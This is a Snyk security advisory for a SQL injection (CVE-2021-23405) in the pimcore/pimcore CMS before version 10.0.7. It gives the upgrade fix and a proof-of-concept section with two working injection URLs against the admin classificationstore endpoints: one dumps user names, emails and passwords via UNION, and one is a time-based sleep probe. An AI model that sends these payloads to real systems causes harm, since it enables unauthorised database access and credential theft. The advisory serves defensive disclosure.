HIGH

🔍 Search by package name or CVE

SQL Injection

Affecting pimcore/pimcore package, versions <10.0.7

INTRODUCED: 8 JUL 2021 CVE-2021-23405 ❓ CWE-89 ❓ `FIRST ADDED BY SNYK`

Share ⌄

How to fix?

Upgrade `pimcore/pimcore` to version 10.0.7 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to SQL Injection. This issue exists due to the absence of check on the `storeId` parameter in the method `collectionsActionGet` and `groupsActionGet` method within the `ClassificationstoreController` class.

PoC

```
Send the following GET request with the payload in storeId parameter
/admin/classificationstore/groups?_dc=1622204293193&storeId=1) union (select '12',name,'4',email,password,'7','8' from
users) -- -
```

```
/admin/classificationstore/collections?_dc=1624542952813&storeId=1 or 1=1) union (select sleep(10)) -- -
```

References

- GitHub PR

Snyk CVSS

Exploit Maturity	Mature ❓
Attack Complexity	Low ❓
Confidentiality	HIGH ❓
Integrity	HIGH ❓

See more

> NVD 8.8 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

🎓 **Snyk Learn**

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-PHP-PIMCOREPIMCORE-1316297
Published	8 Jul 2021
Disclosed	8 Jul 2021
Credit	Daniele Scanu @SoterITSecurity

Report a new vulnerability   Found a mistake?

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

DevSecCon

Join the >> community